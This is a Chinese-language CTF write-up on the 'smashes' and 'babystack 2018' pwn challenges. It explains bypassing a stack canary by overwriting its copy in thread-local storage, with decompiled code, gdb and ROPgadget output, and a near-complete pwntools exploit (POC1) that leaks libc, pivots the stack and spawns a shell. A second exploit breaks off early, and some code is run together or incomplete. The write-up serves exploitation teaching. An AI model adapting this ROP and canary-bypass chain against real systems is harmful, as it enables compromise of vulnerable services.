while ( 1 ) { v1 = _IO_getc(stdin); if ( v1 == -1 ) goto LABEL_9; if ( v1 == 10 ) break; byte_600D20[v0++] = v1; if ( v0 == 32 ) goto LABEL_8; }
双击byte_600D20可以看到这样的画面
.data:0000000000600D20 ; char byte_600D20[] .data:0000000000600D20 byte_600D20 db 50h ; DATA XREF: sub_4007E0+6E↑w .data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0 .data:0000000000600D21 _data ends
由此可知,服务器端中的 flag 应该也在这个位置上。接下来我们需要下个断点来进入main函数,但是由于程序经过了strip处理,没有debug信息,所以我们需要下断点到__libc_start_main函数才能看到,可以看到RDI的值才是main函数的真正入口
gdb-peda$ find CTF Searching for'CTF' in: None ranges Found 2 results, display max 2 items: smashes : 0x400d21 ("CTF{Here's the flag on server}") smashes : 0x600d21 ("CTF{Here's the flag on server}")
如果需要在一个线程内部的各个函数调用都能访问、但其它线程不能访问的变量(被称为static memory local to a thread 线程局部静态变量),就需要新的机制来实现,这就是TLS。当函数在不同的线程上被调用时,该线程会被分配新的栈,并且Canary会被放置在TLS上。TLS位于栈的顶部,当溢出长度较大时,可以同时覆盖返回地址前的 Canary 和 TLS 中的 Canary 实现绕过。
typedefstruct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; unsignedlongint vgetcpu_cache[2]; /* Bit 0: X86_FEATURE_1_IBT. Bit 1: X86_FEATURE_1_SHSTK. */ unsignedint feature_1; int __glibc_unused1; /* Reservation of some values for the TM ABI. */ void *__private_tm[4]; /* GCC split stack support. */ void *__private_ss; /* The lowest address of shadow stack, */ unsignedlonglongint ssp_base; /* Must be kept even if it is no longer used by glibc since programs, like AddressSanitizer, depend on the size of tcbhead_t. */ __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
} return nread; } void * start() { size_t size; char input[0x1000]; memset(input, 0, 0x1000); puts("Welcome to babystack 2018!"); puts("How many bytes do you want to send?"); size = get_long(); if (size > 0x10000) { puts("You are greedy!"); return0; } readn(0, input, size); puts("It's time to say goodbye."); return0; }
v4 = __readfsqword(0x28u); memset(&s, 0, 0x1000uLL); puts("Welcome to babystack 2018!"); puts("How many bytes do you want to send?"); v2 = sub_400906("How many bytes do you want to send?", 0LL); if ( v2 <= 0x10000 ) { sub_400957(0LL, &s, v2); puts("It's time to say goodbye."); } else { puts("You are greedy!"); } return0LL; }
ascotbe@ubuntu:~/Desktop/PWN$ ROPgadget --binary babystack --only "pop|ret" Gadgets information ============================================================ 0x0000000000400bfc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400bfe : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c00 : pop r14 ; pop r15 ; ret 0x0000000000400c02 : pop r15 ; ret 0x0000000000400bfb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400bff : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400870 : pop rbp ; ret 0x0000000000400c03 : pop rdi ; ret 0x0000000000400c01 : pop rsi ; pop r15 ; ret 0x0000000000400bfd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400791 : ret 0x000000000040028b : ret 0x2800 0x000000000040097e : ret 0x8b48
Unique gadgets found: 13
主要就是覆盖TLS中的cancry值,然后加上ret2libc3题目的操作即可
下面两个POC都能跑,但是没搞懂如何计算出来的TLS长度为6218的。。。。
POC1
#!/usr/bin/env python
from pwn import *
with context.quiet: p = process('./babystack', env = {'LD_PRELOAD': './libc-2.23.so'})
p.sendlineafter('How many bytes do you want to send?\n', str(0x1010 + 2008 + 8))
# puts(atol@GOT) to leak a libc address payload = p64(0x400c03) # pop rdi; ret; payload += p64(0x601ff0) # rdi <= atol@GOT payload += p64(0x4007c0) # jmp puts@PLT
# read(0, 0x602030, SIZE) to write the final payload somewhere in .bss # luckily, there is a large value in rdx, so we don't need to provide it here payload += p64(0x400c03) # pop rdi; ret; payload += p64(0) # rdi <= stdin payload += p64(0x400c01) # pop rsi; pop r15; ret; payload += p64(0x602030) # rsi <= 0x602030 (somewhere in .bss) payload += p64(0) # r15 <= garbage payload += p64(0x4007e0) # jmp read@PLT
# pivot rsp into somewhere in .bss payload += p64(0x400bfd) # pop rsp; pop r13; pop r14; pop r15; ret payload += p64(0x602030) # rsp <= 0x602030 (somewhere in .bss)
p.send( # garbage to fill out the buffer up to canary 'a' * (0x1010 - 8) + \ # fake canary 'b' * 8 + \ # saved rbp 'c' * 8 + \ # return address + ROP chain payload + \ # garbage 'd' * (2000 - len(payload)) + \ # replace thread's stack guard with our fake canary 'b' * 8 )
# here the content of atol@GOT is printed p.recvuntil("It's time to say goodbye.\n") libc_base = u64(p.recv(6) + '\x00\x00') - 0x36ea0 print'libc base: {}'.format(hex(libc_base))
# here we provide the final payload for exploitation # since rsp is pivoted, we provide the rest of data here p.sendline( # pop r13; pop r14; pop r15; ret # writing garbage to r13, r14, and r15 p64(0) * 3 + \ # after above ret, the shell will be executed p64(one_gadget) + \ # write enough zeros in order to satify [rsp+0x30] == NULL constraint '\x00' * 0x40 )
p.interactive()
POC2
# coding:utf-8 from pwn import *
libc = ELF("./libc-2.23.so") defmenu(bytes,data): io.recvuntil("How many bytes do you want to send?\n") io.sendline(str(bytes)) sleep(0.1) io.send(data)